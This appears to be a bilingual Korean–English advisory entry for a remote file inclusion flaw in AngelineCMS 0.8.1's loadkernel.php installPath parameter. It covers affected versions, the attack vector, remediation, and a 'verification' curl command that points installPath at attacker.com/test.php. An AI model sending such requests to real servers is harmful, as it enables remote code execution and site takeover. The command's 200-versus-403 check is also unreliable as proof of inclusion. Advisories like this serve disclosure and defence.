🇰🇷 한글 설명
AngelineCMS 0.8.1의 loadkernel.php 파일에서 installPath 매개변수에 대한 입력값 검증이 부족하여 발생하는 원격 파일 포함(RFI) 취약점입니다. 공격자는 악의적인 PHP 파일을 호스팅하는 URL을 전달하여 대상 서버에서 임의의 PHP 코드를 원격 실행할 수 있습니다.
💡 쉬운 설명
AngelineCMS 웹프로그램의 설정 파일에 보안 결함이 있어서 해커가 악의적인 웹 주소를 입력하면 서버가 그것을 실행하게 됩니다. 이를 통해 웹사이트 전체를 완전히 장악당할 수 있습니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in loadkernel.php in AngelineCMS 0.8.1 allows remote attackers to execute arbitrary PHP code via a URL in the installPath parameter.
📍 영향받는 시스템
AngelineCMS 0.8.1 및 이전 버전
⚔️ 공격 벡터
HTTP 요청으로 loadkernel.php의 installPath 파라미터에 원격 PHP 셸 URL을 전달하여 코드 실행
🛡️ 대응 방법
AngelineCMS를 최신 버전으로 업그레이드하거나, installPath 입력값에 대해 엄격한 검증 및 화이트리스트 적용
🔧 검증 코드
200 응답이 반환되고 원격 파일이 포함되면 취약점 존재 가능성, 403은 패치된 상태
curl -I 'http://target/loadkernel.php?installPath=http://attacker.com/test.php' 2>&1 | grep -E '200|403'